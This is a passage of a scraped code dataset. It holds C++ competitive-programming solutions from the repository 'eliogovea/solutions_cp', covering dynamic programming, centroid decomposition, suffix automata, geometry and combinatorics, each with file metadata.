pi[N][N];\r\n\r\nvoid invert(int n) {\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tpi[i][j] = 0.0;\r\n\t\t}\r\n\t\tpi[i][i] = 1.0;\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tint mx = i;\r\n\t\tfor (int j = i + 1; j < n; j++) {\r\n\t\t\tif (abs(p[j][i]) > abs(p[mx][i])) {\r\n\t\t\t\tmx = j;\r\n\t\t\t}\r\n\t\t}\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tswap(p[i][j], p[mx][j]);\r\n\t\t\tswap(pi[i][j], pi[mx][j]);\r\n\t\t}\r\n\t\tdouble tmp = p[i][i];\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tp[i][j] /= tmp;\r\n\t\t\tpi[i][j] /= tmp;\r\n\t\t}\r\n\t\tfor (int j = 0; j < n; j++) {\r\n\t\t\tif (i != j) {\r\n\t\t\t\ttmp = p[j][i];\r\n\t\t\t\tfor (int k = 0; k < n; k++) {\r\n\t\t\t\t\tp[j][k] -= p[i][k] * tmp;\r\n\t\t\t\t\tpi[j][k] -= pi[i][k] * tmp;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nvoid solve(int n, double pc) {\r\n\tfor (int i = 0; i < 2 * n + 1; i++) {\r\n\t\tfor (int j = 0; j < 2 * n + 1; j++) {\r\n\t\t\tp[i][j] = 0.0;\r\n\t\t\tpi[i][j] = 0.0;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 1; i < 2 * n; i++) {\r\n\t\tp[i][i] = 1.0;\r\n\t\tp[i][i - 1] = -(1.0 - pc);\r\n\t\tp[i][i + 1] = -pc;\r\n\t}\r\n\tp[0][0] = 1.0;\r\n\tp[2 * n][2 * n] = 1.0;\r\n\tinvert(2 * n + 1);\r\n\r\n\tdouble e = 0.0;\r\n\tfor (int i = 1; i < 2 * n; i++) {\r\n\t\te += pi[n][i];\r\n\t}\r\n\tcout << fixed << e << \" \" << fixed << pi[n][2 * n] << \"\\n\";\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(5);\r\n\tstring a, b, c;\r\n\tint n;\r\n\tdouble pc;\r\n\twhile (cin >> n >> pc) {\r\n\t\tsolve(n, pc / 100.0);\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.40461215376853943, "alphanum_fraction": 0.42767295241355896, "avg_line_length": 13, "blob_id": "88ab7ef497b90f4a90a357317e065f32bfc795c6", "content_id": "4b86180327890d8b496e20f7029ffdc54c3f52dc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 477, "license_type": "no_license", "max_line_length": 38, "num_lines": 34, "path": "/Codechef/SUYBOB.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 10000;\n\nint t, n, a, q, x;\nint dp[N + 5];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 1; i <= N; i++) {\n\t\t\tdp[i] = 1e9;\n\t\t}\n\n\t\twhile (n--) {\n\t\t\tcin >> a;\n\t\t\tfor (int i = a; i <= N; i++) {\n\t\t\t\tdp[i] = min(dp[i], dp[i - a] + 1);\n\t\t\t}\n\t\t}\n\n\t\tcin >> q;\n\t\twhile (q--) {\n\t\t\tcin >> x;\n\t\t\tcout << dp[x] << \"\\n\";\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.47376173734664917, "alphanum_fraction": 0.49143803119659424, "avg_line_length": 19.46640396118164, "blob_id": "03c2634b22b6d252b0e38f1d0c88cff31cc14d83", "content_id": "6835ce179ae053fe4f3f32bacc11e414c4ecf501", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5431, "license_type": "no_license", "max_line_length": 83, "num_lines": 253, "path": "/COJ/eliogovea-cojAC/eliogovea-p3744-Accepted-s1008851.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 100005;\r\nconst int INF = 1e9;\r\n\r\nint n;\r\nint a[N];\r\nint b[N];\r\nvector <int> tree[N];\r\nint subTreeSize[N];\r\nbool processed[N];\r\nint dParent[N];\r\nint dDepth[N];\r\nint dNodes[N], dTimer;\r\nint dTimeIn[N], dTimeOut[N];\r\nint values[20][N];\r\n\r\nint calcSubTreeSize(int u, int p) {\r\n\tsubTreeSize[u] = 1;\r\n\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\tint v = tree[u][i];\r\n\t\tif (v == p || processed[v]) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tsubTreeSize[u] += calcSubTreeSize(v, u);\r\n\t}\r\n\treturn subTreeSize[u];\r\n}\r\n\r\nint findSplitNode(int u, int p, int total) {\r\n\tint maxSubTree = total - subTreeSize[u];\r\n\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\tint v = tree[u][i];\r\n\t\tif (v == p || processed[v]) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tmaxSubTree = max(maxSubTree, subTreeSize[v]);\r\n\t}\r\n\tif (maxSubTree <= total / 2) {\r\n\t\treturn u;\r\n\t}\r\n\tfor (int i = 0; i < tree[u].size(); i++) {\r\n\t\tint v = tree[u][i];\r\n\t\tif (v == p || processed[v]) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tint x = findSplitNode(v, u, total);\r\n\t\tif (x != -1) {\r\n\t\t\treturn x;\r\n\t\t}\r\n\t}\r\n\treturn -1;\r\n}\r\n\r\nint decomposeTree(int u) {\r\n\tint total = calcSubTreeSize(u, -1);\r\n\tint centroid = findSplitNode(u, -1, total);\r\n\tdTimeIn[centroid] = dTimer;\r\n\tdNodes[dTimer++] = centroid;\r\n\tprocessed[centroid] = true;\r\n\tfor (int i = 0; i < tree[centroid].size(); i++) {\r\n\t\tint v = tree[centroid][i];\r\n\t\tif (!processed[v]) {\r\n\t\t\tint x = decomposeTree(v);\r\n\t\t\tdParent[x] = centroid;\r\n\t\t}\r\n\t}\r\n\tdTimeOut[centroid] = dTimer - 1;\r\n\treturn centroid;\r\n}\r\n\r\nstruct data {\r\n\tint value;\r\n\tint node;\r\n\tdata() {\r\n\t\tvalue = -INF;\r\n\t\tnode = -1;\r\n\t}\r\n\tdata(int _value, int _node) : value(_value), node(_node) {}\r\n};\r\n\r\ndata operator + (const data &a, const data &b) {\r\n\tif (a.value > b.value) {\r\n\t\treturn a;\r\n\t}\r\n\tif (b.value > a.value) {\r\n\t\treturn b;\r\n\t}\r\n\tif (a.node < b.node) {\r\n\t\treturn a;\r\n\t}\r\n\treturn b;\r\n}\r\n\r\nstruct SegmentTree {\r\n\tint n;\r\n\tvector <data> tree;\r\n\tSegmentTree() {}\r\n\tSegmentTree(int _n) {\r\n\t\tn = _n;\r\n\t\ttree = vector <data>(4 * n);\r\n\t}\r\n\tvoid build(int *values, int *nodes, int x, int l, int r) {\r\n\t\tif (l == r) {\r\n\t\t\ttree[x].value = values[l - 1];\r\n\t\t\ttree[x].node = nodes[l - 1] + 1;\r\n\t\t} else {\r\n\t\t\tint mid = (l + r) >> 1;\r\n\t\t\tbuild(values, nodes, 2 * x, l, mid);\r\n\t\t\tbuild(values, nodes, 2 * x + 1, mid + 1, r);\r\n\t\t\ttree[x] = tree[2 * x] + tree[2 * x + 1];\r\n\t\t}\r\n\t}\r\n\tvoid update(int x, int l, int r, int p, int v) {\r\n\t\tif (p < l || r < p) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (l == r) {\r\n\t\t\ttree[x].value = v;\r\n\t\t} else {\r\n\t\t\tint mid = (l + r) >> 1;\r\n\t\t\tupdate(2 * x, l, mid, p, v);\r\n\t\t\tupdate(2 * x + 1, mid + 1, r, p, v);\r\n\t\t\ttree[x] = tree[2 * x] + tree[2 * x + 1];\r\n\t\t}\r\n\t}\r\n\tvoid update(int p, int v) {\r\n\t\tupdate(1, 1, n, p, v);\r\n\t}\r\n\tdata query(int x, int l, int r, int ql, int qr) {\r\n\t\tif (r < ql || qr < l) {\r\n\t\t\treturn data();\r\n\t\t}\r\n\t\tif (ql <= l && r <= qr) {\r\n\t\t\treturn tree[x];\r\n\t\t}\r\n\t\tint mid = (l + r) >> 1;\r\n\t\tdata q1 = query(2 * x, l, mid, ql, qr);\r\n\t\tdata q2 = query(2 * x + 1, mid + 1, r, ql, qr);\r\n\t\treturn q1 + q2;\r\n\t}\r\n\tdata query(int ql, int qr) {\r\n\t\treturn query(1, 1, n, ql, qr);\r\n\t}\r\n};\r\n\r\nmap <pair <int, int>, int> dist;\r\n\r\nvoid dfs(int root, int now, int from, int depth) {\r\n\tvalues[dDepth[root]][dTimeIn[now]] = b[now] - depth;\r\n\tdist[make_pair(root, now)] = depth;\r\n\tfor (int i = 0; i < tree[now].size(); i++) {\r\n\t\tint to = tree[now][i];\r\n\t\tif (dDepth[to] <= dDepth[root] || to == from) {\r\n\t\t\tcontinue;\r\n\t\t}\r\n\t\tdfs(root, to, now, depth + 1);\r\n\t}\r\n}\r\n\r\nvoid solve() {\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tcin >> n;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\ttree[i].clear();\r\n\t\tprocessed[i] = false;\r\n\t\tdParent[i] = -1;\r\n\t\tdDepth[i] = 0;\r\n\t}\r\n\tfor (int i = 0; i < n - 1; i++) {\r\n\t\tint u, v;\r\n\t\tcin >> u >> v;\r\n\t\tu--;\r\n\t\tv--;\r\n\t\ttree[u].push_back(v);\r\n\t\ttree[v].push_back(u);\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> a[i];\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> b[i];\r\n\t}\r\n\tdTimer = 0;\r\n\tint dRoot = decomposeTree(0);\r\n\r\n\tfor (int i = 1; i < n; i++) {\r\n dDepth[dNodes[i]] = dDepth[dParent[dNodes[i]]] + 1;\r\n\t}\r\n\r\n\tint maxDepth = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tmaxDepth = max(maxDepth, dDepth[i]);\r\n\t}\r\n\tvector <SegmentTree> st(maxDepth + 1, SegmentTree(n));\r\n\tfor (int l = 0; l <= maxDepth; l++) {\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tvalues[l][i] = -INF;\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tdfs(i, i, -1, 0);\r\n\t}\r\n\tfor (int i = 0; i <= maxDepth; i++) {\r\n\t\tst[i].build(values[i], dNodes, 1, 1, n);\r\n\t}\r\n\tint queries;\r\n\tcin >> queries;\r\n\twhile (queries--) {\r\n\t\tint type;\r\n\t\tcin >> type;\r\n\t\tif (type == 0) {\r\n\t\t\tint u, x;\r\n\t\t\tcin >> u >> x;\r\n\t\t\tu--;\r\n\t\t\ta[u] = x;\r\n\t\t} else if (type == 1) {\r\n\t\t\tint u, x;\r\n\t\t\tcin >> u >> x;\r\n\t\t\tu--;\r\n\t\t\tint now = u;\r\n\t\t\twhile (now != -1) {\r\n\t\t\t\tst[dDepth[now]].update(1, 1, n, dTimeIn[u] + 1, x - dist[make_pair(now, u)]);\r\n\t\t\t\tnow = dParent[now];\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\tint u;\r\n\t\t\tcin >> u;\r\n\t\t\tu--;\r\n\t\t\tdata ans = st[dDepth[u]].query(1, 1, n, dTimeIn[u] + 1, dTimeOut[u] + 1);\r\n\t\t\tint now = dParent[u];\r\n\t\t\twhile (now != -1) {\r\n\t\t\t\tdata tmp = st[dDepth[now]].query(1, 1, n, dTimeIn[now] + 1, dTimeOut[now] + 1);\r\n assert(dist.find(make_pair(now, u)) != dist.end());\r\n\t\t\t\ttmp.value -= dist[make_pair(now, u)];\r\n\t\t\t\tans = ans + tmp;\r\n\t\t\t\tnow = dParent[now];\r\n\t\t\t}\r\n\t\t\tassert(1 <= ans.node && ans.node <= n);\r\n\t\t\tcout << ans.node << \" \" << ans.value + a[u] << \"\\n\";\r\n\t\t}\r\n\t}\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tsolve();\r\n\r\n}\r\n" }, { "alpha_fraction": 0.30351537466049194, "alphanum_fraction": 0.37005650997161865, "avg_line_length": 22.086956024169922, "blob_id": "afb9b13c1215cb7166f4591cb777ab8df68bca65", "content_id": "7b12caec3a83c95dde3e8c138c0a30c9042055ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3186, "license_type": "no_license", "max_line_length": 82, "num_lines": 138, "path": "/Codeforces-Gym/100198 - 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 3 (ASC 3)/F.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2003-2004 Summer Petrozavodsk Camp, Andrew Stankevich Contest 3 (ASC 3)\n// 100198F\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 2005;\n\nint n;\nstring alph;\nstring a, b;\n\nint d[N][N];\nint pos[N];\n\nint dp[N][N];\n\nbool solved[N][N];\n\nchar ans1[N][N], ans2[N][N];\n\nbool dx[N][N], dy[N][N];\n\nint men1[N], men2[N];\n\nvoid solve(int p1, int p2) {\n if ((p1 == 0 && p2 == 0) || solved[p1][p2]) {\n return;\n }\n solved[p1][p2] = true;\n if (p1 == 0) {\n solve(p1, p2 - 1);\n dp[p1][p2] = dp[p1][p2 - 1] + d[men1[pos[b[p2 - 1]]]][pos[b[p2 - 1]]];\n ans1[p1][p2] = alph[men1[pos[b[p2 - 1]]]];\n ans2[p1][p2] = b[p2 - 1];\n dx[p1][p2] = 0;\n dy[p1][p2] = 1;\n return;\n }\n if (p2 == 0) {\n solve(p1 - 1, p2);\n dp[p1][p2] = dp[p1 - 1][p2] + d[pos[a[p1 - 1]]][men2[pos[a[p1 - 1]]]];\n ans1[p1][p2] = a[p1 - 1];\n ans2[p1][p2] = alph[men2[pos[a[p1 - 1]]]];\n dx[p1][p2] = 1;\n dy[p1][p2] = 0;\n return;\n }\n solve(p1 - 1, p2);\n solve(p1, p2 - 1);\n solve(p1 - 1, p2 - 1);\n int x = dp[p1 - 1][p2] + d[pos[a[p1 - 1]]][men2[pos[a[p1 - 1]]]];\n int y = dp[p1][p2 - 1] + d[men1[pos[b[p2 - 1]]]][pos[b[p2 - 1]]];\n int z = dp[p1 - 1][p2 - 1] + d[pos[a[p1 - 1]]][pos[b[p2 - 1]]];\n int mn = min(x, min(y, z));\n if (x == mn) {\n dp[p1][p2] = x;\n ans1[p1][p2] = a[p1 - 1];\n ans2[p1][p2] = alph[men2[pos[a[p1 - 1]]]];\n dx[p1][p2] = 1;\n dy[p1][p2] = 0;\n return;\n }\n if (y == mn) {\n dp[p1][p2] = y;\n ans1[p1][p2] = alph[men1[pos[b[p2 - 1]]]];\n ans2[p1][p2] = b[p2 - 1];\n dx[p1][p2] = 0;\n dy[p1][p2] = 1;\n return;\n }\n if (z == mn) {\n dp[p1][p2] = z;\n ans1[p1][p2] = a[p1 - 1];\n ans2[p1][p2] = b[p2 - 1];\n dx[p1][p2] = 1;\n dy[p1][p2] = 1;\n return;\n }\n}\n\nint main() {\n ios::sync_with_stdio(false);\n cin.tie(0);\n freopen(\"dissim.in\", \"r\", stdin);\n freopen(\"dissim.out\", \"w\", stdout);\n cin >> alph >> a >> b;\n n = alph.size();\n for (int i = 0; i < n; i++) {\n pos[alph[i]] = i;\n }\n for (int i = 0; i < n; i++) {\n men1[i] = men2[i] = -1;\n }\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n cin >> d[i][j];\n }\n }\n\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n if (men2[i] == -1 ||d[i][j] < d[i][men2[i]]) {\n men2[i] = j;\n }\n }\n }\n\n for (int i = 0; i < n; i++) {\n for (int j = 0; j < n; j++) {\n if (men1[i] == -1 || d[j][i] < d[men1[i]][i]) {\n men1[i] = j;\n }\n }\n }\n\n int sa = a.size();\n int sb = b.size();\n\n solve(sa, sb);\n\n cout << dp[sa][sb] << \"\\n\";\n\n string A, B;\n while (sa > 0 || sb > 0) {\n A += ans1[sa][sb];\n B += ans2[sa][sb];\n int nsa = sa - dx[sa][sb];\n int nsb = sb - dy[sa][sb];\n sa = nsa;\n sb = nsb;\n }\n reverse(A.begin(), A.end());\n reverse(B.begin(), B.end());\n cout << A << \"\\n\";\n cout << B << \"\\n\";\n}\n" }, { "alpha_fraction": 0.39393940567970276, "alphanum_fraction": 0.42148759961128235, "avg_line_length": 18.16666603088379, "blob_id": "89880d02354ca009219cbb415fc09159606ceb68", "content_id": "e9d6298d98fe7b3c89bfb5841c36f6833632c4b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 363, "license_type": "no_license", "max_line_length": 86, "num_lines": 18, "path": "/COJ/eliogovea-cojAC/eliogovea-p1534-Accepted-s520484.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<cmath>\r\nint n,c;\r\ndouble l,r;\r\n\r\nint main()\r\n{\r\n for(scanf(\"%d\",&c);c--;)\r\n {\r\n scanf(\"%d%lf\",&n,&l);\r\n r=l/(sin(M_PI/(double)n)*2.0);\r\n if(l*l-r*r<=0)\r\n printf(\"-1\\n\");\r\n else\r\n printf(\"%.3lf\\n\",(double)n*r*r*sin(2.0*M_PI/double(n))*sqrt(l*l-r*r)/6.0);\r\n }\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.5568743944168091, "alphanum_fraction": 0.5682492852210999, "avg_line_length": 19.527917861938477, "blob_id": "5b59d6c554ae90ab422c91df21f245483c99a5c3", "content_id": "5c0005395013a7003f9ecd3a9ebba6961e3893c3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4044, "license_type": "no_license", "max_line_length": 93, "num_lines": 197, "path": "/SPOJ/SUBLEX.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n \nusing namespace std;\n \nconst int MAXL = 90000;\nconst int MAXS = 2 * MAXL + 1;\n \nint length[MAXS];\nmap <char, int> next[MAXS];\nint suffixLink[MAXS];\nint firstPos[MAXS];\nbool terminal[MAXS];\n \nint size;\nint last;\n \ninline int getNew(int _length) {\n\tlength[size] = _length;\n\tnext[size] = map <char, int> ();\n\tsuffixLink[size] = -1;\n\treturn size++;\n}\n \ninline int getClone(int from, int _length) {\n\tlength[size] = _length;\n\tnext[size] = next[from];\n\tsuffixLink[size] = suffixLink[from];\n\treturn size++;\n}\n \ninline void initSuffixAutomaton() {\n\tsize = 0;\n\tlast = getNew(0);\n}\n \ninline void extendSuffixAutomaton(char c) {\n\tint p = last;\n\tint cur = getNew(length[p] + 1);\n\twhile (p != -1 && next[p].find(c) == next[p].end()) {\n\t\tnext[p][c] = cur;\n\t\tp = suffixLink[p];\n\t}\n\tif (p == -1) {\n\t\tsuffixLink[cur] = 0;\n\t} else {\n\t\tint q = next[p][c];\n\t\tif (length[p] + 1 == length[q]) {\n\t\t\tsuffixLink[cur] = q;\n\t\t} else {\n\t\t\tint clone = getClone(q, length[p] + 1);\n\t\t\tsuffixLink[q] = clone;\n\t\t\tsuffixLink[cur] = clone;\n\t\t\twhile (p != -1 && next[p][c] == q) {\n\t\t\t\tnext[p][c] = clone;\n\t\t\t\tp = suffixLink[p];\n\t\t\t}\n\t\t}\n\t}\n\tlast = cur;\n}\n \ninline void makeTerminals() {\n\tint p = last;\n\twhile (p != -1) {\n\t\tterminal[p] = true;\n\t\tp = suffixLink[p];\n\t}\n}\n \nint freq[MAXL];\nint order[MAXS];\n \ninline void getOrder(int maxLength = -1) {\n\tif (maxLength == -1) {\n\t\tfor (int i = 0; i < size; i++) {\n\t\t\tmaxLength = max(maxLength, length[i]);\n\t\t}\n\t}\n\tfor (int i = 0; i <= maxLength; i++) {\n\t\tfreq[i] = 0;\n\t}\n\tfor (int i = 0; i < size; i++) {\n\t\tfreq[length[i]]++;\n\t}\n\tfor (int i = 1; i <= maxLength; i++) {\n\t\tfreq[i] += freq[i - 1];\n\t}\n\tfor (int i = 0; i < size; i++) {\n\t\torder[--freq[length[i]]] = i;\n\t}\n}\n \nstruct edge {\n\tint to;\n\tchar c;\n\tint length;\n};\n \nbool operator < (const edge &a, const edge &b) {\n\t//assert(a.c != b.c);\n\treturn a.c < b.c;\n}\n \nvector <edge> invSuffixLink[MAXS];\n \nvoid buildSuffixTree(string &s) {\n\tinitSuffixAutomaton();\n\tfor (int i = ((int)s.size()) - 1; i >= 0; i--) {\n\t\textendSuffixAutomaton(s[i]);\n\t}\n\tmakeTerminals();\n\tgetOrder(s.size());\n\tfor (int i = size - 1; i >= 0; i--) {\n\t\tint x = order[i];\n\t\tif (terminal[x]) {\n\t\t\tfirstPos[x] = 0;\n\t\t} else {\n\t\t\tfirstPos[x] = s.size(); // INF\n\t\t\tfor (map <char, int> :: iterator it = next[x].begin(); it != next[x].end(); it++) {\n\t\t\t\tfirstPos[x] = min(firstPos[x], 1 + firstPos[it->second]);\n\t\t\t}\n\t\t}\n\t}\n\tfor (int i = 1; i < size; i++) {\n\t\tedge e;\n\t\te.to = i;\n\t\te.c = s[firstPos[i] + length[suffixLink[i]]];\n\t\te.length = length[i] - length[suffixLink[i]];\n\t\tinvSuffixLink[suffixLink[i]].push_back(e);\n\t}\n\tfor (int i = 0; i < size; i++) {\n if (invSuffixLink[i].size()) {\n sort(invSuffixLink[i].begin(), invSuffixLink[i].end());\n }\n\t}\n}\n \nstruct query {\n\tlong long k; // me pregunta por la k esima cadena\n\tint id; // posicion de la pregunta\n};\n \nbool operator < (const query &a, const query &b) {\n\tif (a.k != b.k) {\n return a.k < b.k;\n\t}\n\treturn a.id < b.id;\n}\n \nconst int MAXQ = 505;\n \nstring s;\nint nQ;\nquery Q[MAXQ];\n \nint ansLength[MAXQ];\nint ansFirstPos[MAXQ];\n \nvoid dfs(int now, long long &curID, int curLength, int &queryPos) {\n\tif (queryPos == nQ) {\n\t\treturn;\n\t}\n\tfor (int i = 0; i < invSuffixLink[now].size(); i++) {\n\t\twhile (queryPos < nQ && curID + (long long)invSuffixLink[now][i].length >= Q[queryPos].k) {\n\t\t\tint l = Q[queryPos].k - curID;\n\t\t\tansLength[Q[queryPos].id] = curLength + l;\n\t\t\tansFirstPos[Q[queryPos].id] = firstPos[invSuffixLink[now][i].to];\n\t\t\tqueryPos++;\n\t\t}\n\t\tcurID += (long long)invSuffixLink[now][i].length;\n\t\tdfs(invSuffixLink[now][i].to, curID, curLength + invSuffixLink[now][i].length, queryPos);\n\t}\n}\n \nvoid solve() {\n\tcin >> s;\n\tbuildSuffixTree(s);\n\tcin >> nQ;\n\tfor (int i = 0; i < nQ; i++) {\n\t\tcin >> Q[i].k;\n\t\tQ[i].id = i;\n\t}\n\tsort(Q, Q + nQ);\n\tlong long curID = 0;\n\tint queryPos = 0;\n\tdfs(0, curID, 0, queryPos);\n\tassert(queryPos == nQ);\n\tfor (int i = 0; i < nQ; i++) {\n\t\tcout << s.substr(ansFirstPos[i], ansLength[i]) << \"\\n\";\n\t}\n}\n \nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tsolve();\n}\n" }, { "alpha_fraction": 0.46058982610702515, "alphanum_fraction": 0.4702412784099579, "avg_line_length": 18.516483306884766, "blob_id": "ce93989ed5c212a65be01d6ff8b24ca2529fea1b", "content_id": "a3464e10faac84938b3af14c6e85b42e76522994", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1865, "license_type": "no_license", "max_line_length": 74, "num_lines": 91, "path": "/COJ/eliogovea-cojAC/eliogovea-p1892-Accepted-s1129913.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ntypedef long long LL;\r\n\r\ninline int sign(const LL x) {\r\n\treturn (x < 0) ? -1 : (x > 0);\r\n}\r\n\r\nstruct point {\r\n\tLL x, y;\r\n\tpoint() {}\r\n\tpoint(LL _x, LL _y) : x(_x), y(_y) {}\r\n};\r\n\r\nbool operator < (const point &P, const point &Q) {\r\n\tif (P.y != Q.y) {\r\n\t\treturn P.y < Q.y;\r\n\t}\r\n\treturn P.x < Q.x;\r\n}\r\n\r\nbool operator == (const point &P, const point &Q) {\r\n\treturn !(P < Q) && !(Q < P);\r\n}\r\n\r\ninline point operator + (const point &P, const point &Q) {\r\n\treturn point(P.x + Q.x, P.y + Q.y);\r\n}\r\n\r\ninline point operator - (const point &P, const point &Q) {\r\n\treturn point(P.x - Q.x, P.y - Q.y);\r\n}\r\n\r\ninline LL cross(const point &P, const point &Q) {\r\n\treturn P.x * Q.y - P.y * Q.x;\r\n}\r\n\r\nbool intersect(point A, point B, point C, point D) {\r\n\tif (cross(B - A, D - C) == 0) {\r\n\t\tif (cross(B - A, C - A) == 0) {\r\n\t\t\tif (B < A) {\r\n\t\t\t\tswap(A, B);\r\n\t\t\t}\r\n\t\t\tif (D < C) {\r\n\t\t\t\tswap(C, D);\r\n\t\t\t}\r\n\t\t\tif (C < A) {\r\n\t\t\t\tswap(A, C);\r\n\t\t\t\tswap(B, D);\r\n\t\t\t}\r\n\t\t\treturn !(B < C);\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n\tif (sign(cross(C - A, B - A)) * sign(cross(D - A, B - A)) == 1) {\r\n\t\treturn false;\r\n\t}\r\n\tif (sign(cross(A - C, D - C)) * sign(cross(B - C, D - C)) == 1) {\r\n\t\treturn false;\r\n\t}\r\n\treturn true;\r\n}\r\n\r\ninline double dist(const point &P, const point &Q) {\r\n\tdouble dx = P.x - Q.x;\r\n\tdouble dy = P.y - Q.y;\r\n\treturn hypot(dx, dy);\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcout.precision(3);\r\n\t\r\n\tpoint A, B, C, D;\r\n\tint cas = 1;\r\n\twhile (cin >> A.x >> A.y >> B.x >> B.y) {\r\n\t\tif (A.x == 0 && A.y == 0 && B.x == 0 && B.y == 0) {\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tcin >> C.x >> C.y >> D.x >> D.y;\r\n\t\tdouble answer = 0.5 * dist(A, B);\r\n\t\tif (intersect(A, B, C, D)) {\r\n\t\t\tanswer = 0.5 * (min(dist(A, C) + dist(C, B), dist(A, D) + dist(D, B)));\r\n\t\t}\r\n\t\tcout << \"Case \" << cas++ << \": \" << fixed << answer << \"\\n\";\r\n\t}\r\n\r\n}" }, { "alpha_fraction": 0.36734694242477417, "alphanum_fraction": 0.3877550959587097, "avg_line_length": 15.558333396911621, "blob_id": "f0c63bf3754c0a2a1445f689e2a64a9f997a997b", "content_id": "20a821ccc137575ca0f052530f736420a029d3c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2107, "license_type": "no_license", "max_line_length": 56, "num_lines": 120, "path": "/COJ/eliogovea-cojAC/eliogovea-p1574-Accepted-s1036342.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 10000;\r\n\r\nint n, k, p;\r\nint a[N + 5];\r\nint f[N + 5];\r\nint fact[N + 5];\r\nint ifact[N + 5];\r\n\r\ninline int power(int x, int n) {\r\n\tint res = 1;\r\n\twhile (n) {\r\n\t\tif (n & 1) {\r\n\t\t\tres = (res * x) % p;\r\n\t\t}\r\n\t\tx = (x * x) % p;\r\n\t\tn >>= 1;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nvector <int> primes;\r\nbool sieve[N + 5];\r\nint mu[N + 5];\r\n\r\ninline int comb(int a, int b) {\r\n\tif (a < b) {\r\n\t\treturn 0;\r\n\t}\r\n\treturn (fact[a] * ((ifact[b] * ifact[a - b]) % p)) % p;\r\n}\r\n\r\ninline int lucas(int a, int b) {\r\n\tif (a < b) {\r\n\t\treturn 0;\r\n\t}\r\n\tint res = 1;\r\n\twhile ((a | b) && (res > 0)) {\r\n\t\tres = (res * comb(a % p, b % p)) % p;\r\n\t\ta /= p;\r\n\t\tb /= p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\r\n\tsieve[0] = true;\r\n\tsieve[1] = true;\r\n\tfor (int i = 2; i * i <= N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tfor (int j = i * i; j <= N; j += i) {\r\n\t\t\t\tsieve[j] = true;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i <= N; i++) {\r\n\t\tif (!sieve[i]) {\r\n\t\t\tprimes.push_back(i);\r\n\t\t}\r\n\t}\r\n\tfor (int i = 0; i <= N; i++) {\r\n\t\tmu[i] = 1;\r\n\t}\r\n\tfor (int i = 0; i < primes.size(); i++) {\r\n\t\tint x = primes[i] * primes[i];\r\n\t\tfor (int j = x; j <= N; j += x) 